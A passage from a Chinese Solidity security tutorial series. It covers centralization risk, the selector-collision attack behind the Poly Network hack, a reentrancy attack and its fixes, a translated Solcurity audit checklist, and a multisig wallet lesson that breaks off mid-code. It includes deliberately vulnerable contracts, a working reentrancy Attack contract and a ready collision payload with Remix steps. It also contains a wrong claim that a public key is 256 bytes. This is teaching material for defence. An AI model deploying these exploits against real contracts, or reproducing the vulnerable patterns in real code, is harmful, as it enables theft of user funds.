近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元，是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护，必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样，非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制，而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此，在攻击者获取了 Sky Mavis 的私钥后（具体方法未披露），就可以控制 5 个验证节点，授权盗走了 173,600 ETH 和 2550 万USDC。

Harmony公链的跨链桥在2022年6月被盗 1 亿美元。Harmony桥由5 个多签人控制，很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后，将用户质押的资产盗空。

漏洞合约例子

有中心化风险的合约多种多样，这里只举一个最常见的例子：owner地址可以任意铸造代币的ERC20合约。当项目内鬼或黑客取得owner的私钥后，可以无限铸币，造成投资人大量损失。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract Centralization is ERC20, Ownable {
    constructor() ERC20("Centralization", "Cent") {
        address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2;
        transferOwnership(exposedAccount);
    }

    function mint(address to, uint256 amount) external onlyOwner{
        _mint(to, amount);
    }
}

如何减少中心化/伪去中心化风险？

1. 使用多签钱包管理国库和控制合约参数。为了兼顾效率和去中心化，可以选择 4/7 或 6/9 多签。如果你不了解多签钱包，可以阅读WTF Solidity第50讲：多签钱包。

2. 多签的持有人要多样化，分散在创始团队、投资人、社区领袖之间，并且不要相互授权签名。

3. 使用时间锁控制合约，在黑客或项目内鬼修改合约参数/盗取资产时，项目方和社区有一些时间来应对，将损失最小化。如果你不了解时间锁合约，可以阅读WTF Solidity第45讲：时间锁。

总结

中心化/伪去中心化是区块链项目最大的风险，近两年造成用户资金损失超过 20 亿美元。中心化风险通过分析合约代码就可以发现，而伪去中心化风险藏的更深，需要对项目进行细致的尽职调查才能发现。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑的原因之一。在2021年8月，Poly Network在ETH，BSC，和Polygon上的跨链桥合约被盗，损失高达6.11亿美元。这是2021年最大的区块链黑客事件，也是历史被盗金额榜单上第2名，仅次于 Ronin 桥黑客事件。

选择器碰撞

以太坊智能合约中，函数选择器是函数签名 "<function name>(<function input types>)" 的哈希值的前4个字节（8位十六进制）。当用户调用合约的函数时，calldata的前4字节就是目标函数的选择器，决定了调用哪个函数。如果你不了解它，可以阅读WTF Solidity极简教程第29讲：函数选择器。

由于函数选择器只有4字节，非常短，很容易被碰撞出来：即我们很容易找到两个不同的函数，但是他们有着相同的函数选择器。比如transferFrom(address,address,uint256)和gasprice_bit_ether(int128)有着相同的选择器：0x23b872dd。当然你也可以写个脚本暴力破解。

大家可以用这两个网站来查同一个选择器对应的不同函数：

1. https://www.4byte.directory/

2. https://sig.eth.samczsun.com/

你也可以使用下面的Power Clash工具进行暴力破解：

1. PowerClash: https://github.com/AmazingAng/power-clash

相比之下，钱包的公钥有256字节，被碰撞出来的概率几乎为0，非常安全。

0xAA 解决斯芬克斯之谜

以太坊的人得罪了天神，天神震怒。天后赫拉为了惩罚以太坊的人，在以太坊的峭崖上降下一个名叫斯芬克斯的人面狮身的女妖。她向每一个路过悬崖的以太坊用户提出一个谜语：“什么东西在早晨用四只脚走路，中午两只脚走路，晚间三只脚走路，在一切生物中这是唯一的用不同数目的脚走路的生物。脚最多的时候，正是速度和力量最小的时候。”对于这个奥妙费解的谜语，凡猜中者即可活命，凡猜不中者一律被吃掉。过路的人全被斯芬克斯吃了，以太坊用户陷入恐惧之中。斯芬克斯用选择器0x10cd2dc7来验证答案是否正确。

有一天上午，俄狄浦斯路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是"function men()"啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语被猜中后，俄狄浦斯得以生还。

那一天下午，0xAA路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是"fucntion peopleLduohW(uint256)"啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语再次被猜中后，斯芬克斯气急败坏，脚下一打滑就从巍峨的峭崖上掉下去摔死了。

漏洞合约例子

漏洞合约

下面我们来看一下有漏洞的合约例子。SelectorClash合约有1个状态变量 solved，初始化为false，攻击者需要将它改为true。合约主要有2个函数，函数名沿用自 Poly Network 漏洞合约。

1. putCurEpochConPubKeyBytes() ：攻击者调用这个函数后，就可以将solved改为true，完成攻击。但是这个函数检查msg.sender == address(this)，因此调用者必须为合约本身，我们需要看下其他函数。

2. executeCrossChainTx() ：通过它可以调用合约内的函数，但是函数参数的类型和目标函数不太一样：目标函数的参数为(bytes)，而这里调用的函数参数为(bytes,bytes,uint64)。

contract SelectorClash {
    bool public solved; // 攻击是否成功

    // 攻击者需要调用这个函数，但是调用者 msg.sender 必须是本合约。
    function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
        require(msg.sender == address(this), "Not Owner");
        solved = true;
    }

    // 有漏洞，攻击者可以通过改变 _method 变量碰撞函数选择器，调用目标函数并完成攻击。
    function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
        (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num)));
    }
}

攻击方法

我们的目标是利用executeCrossChainTx()函数调用合约中的putCurEpochConPubKeyBytes()，目标函数的选择器为：0x41973cd9。观察到executeCrossChainTx()中是利用_method参数和"(bytes,bytes,uint64)"作为函数签名计算的选择器。因此，我们只需要选择恰当的_method，让这里算出的选择器等于0x41973cd9，通过选择器碰撞调用目标函数。

Poly Network黑客事件中，黑客碰撞出的_method为 f1121318093，即f1121318093(bytes,bytes,uint64)的哈希前4位也是0x41973cd9，可以成功的调用函数。接下来我们要做的就是将0x41973cd9转换为bytes类型：0x6631313231333138303933，然后作为参数输入到executeCrossChainTx()中。executeCrossChainTx()函数另3个参数不重要，都填 0x 就可以。

Remix演示

1. 部署SelectorClash合约。

2. 调用executeCrossChainTx()，参数填0x6631313231333138303933，0x，0x，0x，发起攻击。

3. 查看solved变量的值，被修改为ture，攻击成功。

总结

这一讲，我们介绍了选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑 6.1 亿美金的的原因之一。这个攻击告诉了我们：

1. 函数选择器很容易被碰撞，即使改变参数类型，依然能构造出具有相同选择器的函数。

2. 管理好合约函数的权限，确保拥有特殊权限的合约的函数不能被用户调用。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍最常见的一种智能合约攻击-重入攻击，它曾导致以太坊分叉为 ETH 和 ETC（以太经典），并介绍如何避免它。

重入攻击

重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。

一些著名的重入攻击事件：

• 2016年，The DAO合约被重入攻击，黑客盗走了合约中的 3,600,000 枚 ETH，并导致以太坊分叉为 ETH 链和 ETC（以太经典）链。

• 2019年，合成资产平台 Synthetix 遭受重入攻击，被盗 3,700,000 枚 sETH。

• 2020年，借贷平台 Lendf.me 遭受重入攻击，被盗 $25,000,000。

• 2021年，借贷平台 CREAM FINANCE 遭受重入攻击，被盗 $18,800,000。

• 2022年，算法稳定币项目 Fei 遭受重入攻击，被盗 $80,000,000。

距离 The DAO 被重入攻击已经6年了，但每年还是会有几次因重入漏洞而损失千万美元的项目，因此理解这个漏洞非常重要。

0xAA 抢银行的故事

为了让大家更好理解，这里给大家讲一个"黑客0xAA抢银行"的故事。

以太坊银行的柜员都是机器人（Robot），由智能合约控制。当正常用户（User）来银行取钱时，它的服务流程：

1. 查询用户的 ETH 余额，如果大于0，进行下一步。

2. 将用户的 ETH 余额从银行转给用户，并询问用户是否收到。

3. 将用户名下的余额更新为0。

一天黑客 0xAA 来到了银行，这是他和机器人柜员的对话：

• 0xAA : 我要取钱，1 ETH。

• Robot: 正在查询您的余额：1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？

• 0xAA : 等等，我要取钱，1 ETH。

• Robot: 正在查询您的余额：1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？

• 0xAA : 等等，我要取钱，1 ETH。

• Robot: 正在查询您的余额：1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？

• 0xAA : 等等，我要取钱，1 ETH。

• ... 最后，0xAA通过重入攻击的漏洞，把银行的资产搬空了，银行卒。

漏洞合约例子

银行合约

银行合约非常简单，包含1个状态变量balanceOf记录所有用户的以太坊余额；包含3个函数：

• deposit()：存款函数，将ETH存入银行合约，并更新用户的余额。

• withdraw()：提款函数，将调用者的余额转给它。具体步骤和上面故事中一样：查询余额，转账，更新余额。注意：这个函数有重入漏洞！

• getBalance()：获取银行合约里的ETH余额。

contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

攻击合约

重入攻击的一个攻击点就是合约转账ETH的地方：转账ETH的目标地址如果是合约，会触发对方合约的fallback（回退）函数，从而造成循环调用的可能。如果你不了解回退函数，可以阅读WTF Solidity极简教程第19讲：接收ETH。Bank合约在withdraw()函数中存在ETH转账：

(bool success, ) = msg.sender.call{value: balance}("");

假如黑客在攻击合约中的fallback()或receive()函数中重新调用了Bank合约的withdraw()函数，就会造成0xAA抢银行故事中的循环调用，不断让Bank合约转账给攻击者，最终将合约的ETH提空。

    receive() external payable {
        bank.withdraw();
    }

下面我们看下攻击合约，它的逻辑非常简单，就是通过receive()回退函数循环调用Bank合约的withdraw()函数。它有1个状态变量bank用于记录Bank合约地址。它包含4个函数：

• 构造函数: 初始化Bank合约地址。

• receive(): 回调函数，在接收ETH时被触发，并再次调用Bank合约的withdraw()函数，循环提款。

• attack()：攻击函数，先Bank合约的deposit()函数存款，然后调用withdraw()发起第一次提款，之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用，将Bank合约的ETH提空。

• getBalance()：获取攻击合约里的ETH余额。

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Remix演示

1. 部署Bank合约，调用deposit()函数，转入20 ETH。

2. 切换到攻击者钱包，部署Attack合约。

3. 调用Atack合约的attack()函数发动攻击，调用时需转账1 ETH。

4. 调用Bank合约的getBalance()函数，发现余额已被提空。

5. 调用Attack合约的getBalance()函数，可以看到余额变为21 ETH，重入攻击成功。

预防办法

目前主要有两种办法来预防可能的重入攻击漏洞： 检查-影响-交互模式（checks-effect-interaction）和重入锁。

检查-影响-交互模式

检查-影响-交互模式强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前，就可以修复漏洞：

function withdraw() external {
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");
    // 检查-效果-交互模式（checks-effect-interaction）：先更新余额变化，再发送ETH
    // 重入攻击的时候，balanceOf[msg.sender]已经被更新为0了，不能通过上面的检查。
    balanceOf[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");
}

重入锁

重入锁是一种防止重入函数的修饰器（modifier），它包含一个默认为0的状态变量_status。被nonReentrant重入锁修饰的函数，在第一次调用时会检查_status是否为0，紧接着将_status的值改为1，调用结束后才会再改为0。这样，当攻击合约在调用结束前第二次的调用就会报错，重入攻击失败。如果你不了解修饰器，可以阅读WTF Solidity极简教程第11讲：修饰器。

uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
    // 在第一次调用 nonReentrant 时，_status 将是 0
    require(_status == 0, "ReentrancyGuard: reentrant call");
    // 在此之后对 nonReentrant 的任何调用都将失败
    _status = 1;
    _;
    // 调用结束，将 _status 恢复为0
    _status = 0;
}

只需要用nonReentrant重入锁修饰withdraw()函数，就可以预防重入攻击了。

// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");

    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");

    balanceOf[msg.sender] = 0;
}

总结

这一讲，我们介绍了以太坊最常见的一种攻击——重入攻击，并编了一个0xAA抢银行的小故事方便大家理解，最后我们介绍了两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。在例子中，黑客利用了回退函数在目标合约进行ETH转账时进行重入攻击。实际业务中，ERC721和ERC1155的safeTransfer()和safeTransferFrom()安全转账函数，还有ERC777的回退函数，都可能会引发重入攻击。对于新手，我的建议是用重入锁保护所有可能改变合约状态的external函数，虽然可能会消耗更多的gas，但是可以预防更大的损失。

最近在学 Solidity 智能合约安全，发现中文缺少这方面的资料，就翻译了 @transmission11 写的 Solcurity - Solidity 智能合约的安全和代码质量标准。它基于 BoringCrypto, Mudit Gupta, Runtime Verification, 和 ConsenSys Diligence 的工作，总结了审查合约时要注意的安全事项。之后 WTF Academy 会基于它添加新的安全事项。

审查方法概览:

• 阅读项目的文档、规范和白皮书，了解智能合约的用途。

• 在查看代码之前，在脑海中构建一个期望中的合约架构模型。

• 快速浏览一遍合约，感受项目结构，可以利用Surya这类工具。

• 将项目架构与你脑海中的合约架构模型进行比较，检查不符合预期的部分。

• 创建威胁模型并列出理论上的高级攻击向量。

• 查看与价值交换相关的地方，尤其是transfer，transferFrom，send，call，delegatecall，和 selfdestruct。优先检查它们，确保安全。

• 查看与外部合约交互的区域，并确保所有关于它们的假设都是有效的，例如价格只会上涨等等。

• 对合约进行一般性的逐行审查。

• 从威胁模型中每个参与者的角度进行另一次审查。

• 快速浏览项目的测试 + 代码覆盖率，并深入了解缺乏覆盖率的区域。

• 运行 Slither/Solhint 等工具并审查其输出。

• 查看相关项目及其审计，以检查是否存在任何类似问题或疏忽。

变量

• V1 - 它是否可以是 internal?

• V2 - 它是否可以是 constant?

• V3 - 它是否可以是 immutable?

• V4 - 它是否设置了可见性? (SWC-108)

• V5 - 变量的用途和其他重要信息是否使用 natspec 标准记录?

• V6 - 它可以与相邻的存储变量一起打包吗?

• V7 - 它是否可以和其他变量打包在一个struct中?

• V8 - 使用完整的 256 位类型，除非与其他变量一起打包。

• V9 - 如果它是一个公共array，是否提供了一个单独的函数来返回完整的数组？?

• V10 - 如果不是有意阻止子合约访问变量，使用更加灵活的internal，而不是private。

结构体

• S1 - 这里是否有必要用struct? 可以仅用原始变量吗?

• S2 - 它的字段是否打包在了一起?

• S3 - struct的用途和所有字段是否使用 natspec 标准记录？

函数

• F1 - 它是否可以是 external?

• F2 - 它是否应该是 internal?

• F3 - 它是否应该是 payable?

• F4 - 它是否可以与另一个类似的函数合并?

• F5 - 验证所有参数都在安全范围内，即使该函数只能由受信任的用户调用。

• F6 - 是否遵循 check-before-effect 模式的检查？ (SWC-107)

• F7 - 检查抢跑的可能性，例如批准功能。(SWC-114)

• F8 - 是否会遭受 insufficient gas griefing 攻击? (SWC-126)

• F9 - 是否应用了正确的修饰符，例如 onlyOwner/requiresAuth?

• F10 - 是否总是分配返回值？

• F11 - 写下并测试使得函数不能正常运行的状态不变量。

• F12 - 写下并测试返回值和改变状态的不变量

• F13 - 命名函数时要小心，因为人们会根据名称来假设行为。

• F14 - 如果一个函数是故意不安全的（出于节省gas等原因），使用一个特别的名字来引起人们对它的风险的注意。

• F15 - 是否所有参数、返回值、side effect和其他信息都使用 natspec 标准记录?

• F16 - 如果该功能允许对系统中的另一个用户进行操作，不要假定msg.sender是被操作的用户。

• F17 - 如果函数要求合约处于未初始化状态，使用显式的 initialized 变量检查。不要使用 owner == address(0) 或其他类似的检查作为替代品。

• F18 - 如果不是有意阻止子合约访问变量，使用更加灵活的internal，而不是private。

• F19 - 仅在子合约希望合法（且安全）重写函数的行为时使用virtual。

修饰符

• M1 - 是否没有进行存储更新（重入锁除外）?

• M2 - 是否避免了外部调用?

• M3 - 修饰符的用途和其他重要信息是否使用 natspec 标准记录?

代码

• C1 - 是否使用了 SafeMath 或 solidity 0.8 检查数学运算? (SWC-101)

• C2 - 是否有存储槽被多次读取?

• C3 - 是否使用了任何可能导致 DoS 的无界循环/数组? (SWC-128)

• C4 - 仅在长间隔的用途上使用 block.timestamp。 (SWC-116)

• C5 - 不要在使用 block.number 进行时间估计。 (SWC-116)

• C7 - 尽可能避免使用delegatecall，尤其是对外部（即使是受信任的）合约。 (SWC-112)

• C8 - 迭代时不要更新数组的长度。

• C9 - 不要使用 blockhash()等全局变量获取随机数。 (SWC-120)

• C10 - 是否保护了签名不被 nonce 和 block.chainid 重放。 (SWC-121)

• C11 - 确保所有签名使用了 EIP-712。 (SWC-117 SWC-122)

• C12 - 如果计算 >2 个动态类型的哈希时，应该使用 abi.encode()，而不是 abi.encodePacked()。 (SWC-133)

• C13 - 谨慎对待内联汇编。 (SWC-127)

• C14 - 不要假设特定的 ETH 余额。 (SWC-132)

• C15 - 避免 insufficient gas griefing攻击。 (SWC-126)

• C16 - private 数据不是隐私的。 (SWC-136)

• C17 - 更新 memory 中的 struct/array 不会在 storage 中修改它。

• C18 - 永远不要隐藏状态变量。 (SWC-119)

• C19 - 不要在函数中改变入参的值。

• C20 - 即时计算数值是否比存储它更便宜?

• C21 - 所有状态变量是否都从正确的合约中读取（主合约与克隆合约）?

• C22 - 是否正确使用了比较运算符 (>, <, >=, <=)，特别是防止差一错误（off-by-one error）?

• C23 - 是否正确使用了逻辑运算符 (==, !=, &&, ||, !)，特别是防止差一错误（off-by-one error）?

• C24 - 在除法前使用乘法，除非乘法将导致溢出。

• C25 - 魔术数字是否被具有直观名称的常数所取代？

• C26 - 如果 ETH 的接收者有一个 fallback 函数，它会导致 DoS 吗? (SWC-113)

• C27 - 使用 SafeERC20 或安全检查返回值。

• C28 - 不要在循环中使用 msg.value。

• C29 - 如果可能出现循环 delegatecall，则不要使用 msg.value（比如合约继承了 Multicall/Batchable）。

• C30 - 不要假设 msg.sender 是相关交易的用户.

• C31 - 除非用于模糊测试或形式验证，否则请勿使用 assert()。 (SWC-110)

• C32 - 不要将 tx.origin 用于授权检查。 (SWC-115)

• C33 - 不要使用 address.transfer() 或 address.send()，使用 .call.value(...)("")。 (SWC-134)

• C34 - 使用低级调用（low-level call）时确保合约存在。

• C35 - 调用具有多个参数的函数时，使用命名参数语法。

• C36 - 不要使用内联汇编调用 create2，使用新式的 salt 合约创建语法。

• C37 - 不要使用内联汇编获取chainid或者合约的代码/长度/，使用新式Solidity语法。

• C38 - 将变量设置为零值（0, false, ""）时使用delete关键字 .

• C39 - 尽可能注释代码来解释 “为什么” 要这么做。

• C40 - 在使用晦涩的语法或编写非常规代码时，尽可能注释代码在做 “什么”。

• C41 - 在复杂的数学过程旁注释上解释和输入输出例子。

• C42 - 在优化gas的地方注释说明，并估计节省的gas。

• C43 - 在有意避免优化的地方注释说明，并估计多花费的gas。

• C44 - 在不可能上溢/下溢的代码块，或者上溢/下溢在人类时间尺度上不现实的代码块（计数器等）使用 unchecked。注释中写清楚哪里用了 unchecked，并估计节省的gas。

• C45 - 不要依赖 Solidity 的算术运算符优先规则。括号不仅用来覆盖默认运算符优先级，而且可以用于强调它。

• C46 - 传递给逻辑/比较运算符 (&&/||/>=/==) 的表达式不应有 side effects。

• C47 - 如果执行了可能导致精度损失的算术运算，确保它有利于系统中的正确参与者，并在注释中记录它。

• C48 - 在注释中写下函数需要重入锁的原因。

• C49 - 如果模糊函数仅支持特定范围的参数，使用取模操作限制参数输入范围（例如 x = x % 10000 + 1 将范围限制在从 1 到 10,000）。

• C50 - 尽可能使用三元表达式来简化逻辑。

• C51 - 当对多个地址进行操作时，问问自己如果它们相同的话会发生什么。

外部调用

• X1 - 是否真的需要外部合约调用？

• X2 - 如果运行时报错，是否会导致 DoS？比如 balanceOf() 回滚。 (SWC-113)

• X3 - 如果调用重新进入当前函数是否有害？

• X4 - 如果调用重新进入另一个函数是否有害？

• X5 - 是否检查了结果并处理错误? (SWC-104)

• X6 - 如果它用光 gas 后会发生什么?

• X7 - 如果它返回大量数据，会导致调用合约中的 gas 耗尽报错吗？

• X8 - 如果你调用特定函数时返回了 success，也不意味着该函数存在。

静态调用

• S1 - 是否真的需要外部合约调用？

• S2 - 是否应该标记为 view 吗？

• S3 - 如果运行时报错，是否会导致 DoS？比如 balanceOf() 回滚。 (SWC-113)

• S4 - 如果调用进入无限循环，是否会导致 DoS？

事件

• E1 - 哪些变量应该被 indexed？

• E2 - 相关操作的创建者地址是否包含在索引字段中？

• E3 - 不要将包括string 和 bytes 的动态变量设为 事件的 inedex。

• E4 - 事件释放的时间和变量是否使用 natspec 标准记录?

• E5 - 将释放事件的函数中所有被操作用户/ID设为indexed字段。

• E6 - 避免函数调用和事件参数中使用表达式求值，他们的求值顺序是不可预测的。

合约

• T1 - 使用 SPDX 许可证标识符.

• T2 - 是否所有会修改 storage 变量的函数都释放了时间？

• T3 - 检查所有的继承是否正确，保证他们简洁且线性。 (SWC-125)

• T4 - 如果合约应接收 ETH，是否加了 receive() external payable？

• T5 - 写下并测试关于变量之间关系的不变量。

• T6 - 合约的目的和与其他合约的交互是否使用 natspec 标准记录？

• T7 - 如果另一个合约必须继承它以解锁其全部功能，则该合约应标记为 abstract。

• T8 - 如果构造函数中设置了非常量变量的值，且该变量的值也会在其他函数中被改变并释放事件（见T2），那么构造函数中也应该释放事件。

• T9 - 避免过度继承，因为它掩盖了复杂性并鼓励过度抽象。

• T10 - 始终使用命名的导入语法来明确声明哪些合约是从另一个文件中导入的。

• T11 - 按文件夹/包将引入进行分组，每组之间空一行，外部依赖组放在开头，然后是模拟/测试合约（如有），最后是本地导入。

• T12 - 使用 natspec 标准中的 @notice 记录合约的目的和功能，@dev 记录合约如何与项目内部/外部的其他合约交互。

项目

• P1 - 使用正确额许可 （例如如果你依赖的包用了GLP协议，你也要使用）。

• P2 - 单元测试所有内容。

• P3 - 尽可能多的模糊测试。

• P4 - 尽可能多的使用符号执行。

• P5 - 运行 Slither/Solhint 并审查所有发现。

DeFi

• D1 - 检查你对其他合约作用和返回值的假设。

• D2 - 不要将内部估计值与账户实际余额混为一谈。

• D3 - 不要将 AMM 的现货价格用作价格预言机。

• D4 - 如果没收到链下或预言机的价格目标，不要在 AMM 上进行交易。

• D5 - 使用完好性检查来防止预言机/价格操纵。

• D6 - 注意变基（rebasing）代币。如果它们不受支持，要在文档中明确。

• D7 - 注意 ERC-777 代币，即使是你信任的代币也可以被重入。

• D8 - 注意转账收税的代币，如果它们不受支持，要在文档中明确。

• D9 - 注意使用太多或太少小数的标记，要在文档中明确支持的最大值和最小值。

• D10 - 注意依赖代币余额来确定收益的合约，这个数值可能会被操纵。

• D11 - 如果你的合约是代币授权的目标，请不要根据用户输入进行任意调用。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

V神曾说过，多签钱包要比硬件钱包更加安全（推文）。这一讲，我们将介绍多签钱包，并且写一个极简版多签钱包合约。教学代码（150行代码）由gnosis safe合约（几千行代码）简化而成。

多签钱包

多签钱包是一种电子钱包，特点是交易被多个私钥持有者（多签人）授权后才能执行：例如钱包由3个多签人管理，每笔交易需要至少2人签名授权。多签钱包可以防止单点故障（私钥丢失，单人作恶），更加去中心化，更加安全，被很多DAO采用。

Gnosis Safe多签钱包是以太坊最流行的多签钱包，管理近400亿美元资产，合约经过审计和实战测试，支持多链（以太坊，BSC，Polygon等），并提供丰富的DAPP支持。更多信息可以阅读我在21年12月写的Gnosis Safe使用教程。

多签钱包合约

在以太坊上的多签钱包其实是智能合约，属于合约钱包。下面我们写一个极简版多签钱包MultisigWallet合约，它的逻辑非常简单：

1. 设置多签人和门槛（链上）：部署多签合约时，我们需要初始化多签人列表和执行门槛（至少n个多签人签名授权后，交易才能执行）。Gnosis Safe多签钱包支持增加/删除多签人以及改变执行门槛，但在咱们的极简版中不考虑这一功能。

2. 创建交易（链下）：一笔待授权的交易包含以下内容

   • to：目标合约。

   • value：交易发送的以太坊数量。

   • data：calldata，包含调用函数的选择器和参数。

   • nonce：初始为0，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。

3. 收集多签签名（链下）：将上一步的交易ABI编码并计算哈希，得到交易哈希，然后让多签人签名，并拼接到一起的到打包签名。对ABI编码和哈希不了解的，可以看WTF Solidity极简教程第27讲和第28讲。

   交易哈希: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66
   
   多签人A签名: 0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c
   
   多签人B签名: 0x2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b
   
   打包签名：
   0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b
   

4. 调用多签合约的执行函数，验证签名并执行交易（链上）。对验证签名和执行交易不了解的，可以看WTF Solidity极简教程第22讲和第37讲。

事件

MultisigWallet合约有2个事件，ExecutionSuccess和ExecutionFailure，分别在交易成功和失败时释放，参数为交易哈希。

    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    event ExecutionFailure(bytes32 txHash);    // 交易失败事件

状态变量

MultisigWallet合约有5个状态变量：

1. owners：多签持有人数组

2. isOwner：address => bool的映射，记录一个地址是否为多签。

3. ownerCount：多签持有人数量

4. threshold：多签执行门槛，交易至少有n个多签人签名才能被执行。

5. nonce：初始为0，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。

    address[] public owners;                   // 多签持有人数组 
    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签
    uint256 public ownerCount;                 // 多签持有人数量
    uint256 public threshold;                  // 多签执行门槛，交易至少有n个多签人签名才能被执行。
    uint256 public nonce;                      // nonce，防止签名重放攻击

函数

MultisigWallet合约有6个函数：

1. 构造函数：调用_setupOwners()，初始化和多签持有人和执行门槛相关的变量。

   // 构造函数，初始化owners, isOwner, ownerCount, threshold 
   constructor(        
       address[] memory _owners,
       uint256 _threshold
   ) {
       _setupOwners(_owners, _threshold);
   }
   

2. _setupOwners()：在合约部署时被构造函数调用，初始化owners，isOwner，ownerCount，threshold状态变量。传入的参数中，执行门槛需大于等于1且小于等于多签人数；多签地址不能为0地址且不能重复。

   /// @dev 初始化owners, isOwner, ownerCount,threshold 
   /// @param _owners: 多签持有人数组
   /// @param _threshold: 多签执行门槛，至少有几个多签人签署了交易
   function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
       // threshold没被初始化过
       require(threshold == 0, "WTF5000");
       // 多签执行门槛 小于 多签人数
       require(_threshold <= _owners.length, "WTF5001");
       // 多签执行门槛至少为1
       require(_threshold >= 1, "WTF5002");
   
       for (uint256 i = 0; i < _owners.length; i++) {
           address owner = _owners[i];
           // 多签人不能为0地址，本合约地址，不能重复
           require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003");
           owners.push(owner);
           isOwner[owner] = true;
       }
       ownerCount = _owners.length;
       threshold = _threshold;
   }
   

3. execTransaction()：在收集足够的多签签名后，验证签名并执行交易。传入的参数为目标地址to，发送的以太坊数额value，数据data，以及打包签名signatures。打包签名就是将收集的多签人对交易哈希的签名，按多签持有人地址从小到大顺序，打包到一个[bytes]数据中。这一步调用了encodeTransactionData()编码交易，调用了checkSignatures()检验签名是否有效、数量是否达到执行门槛。

   /// @dev 在收集足够的多签签名后，执行交易
   /// @param to 目标合约地址
   /// @param value msg.value，支付的以太坊
   /// @param data calldata
   /// @param signatures 打包的签名，对应的多签地址由小到达，方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )
   function execTransaction(
       address to,
       uint256 value,
       bytes memory data,
       bytes memory signatures
   ) public payable virtual returns (bool success) {
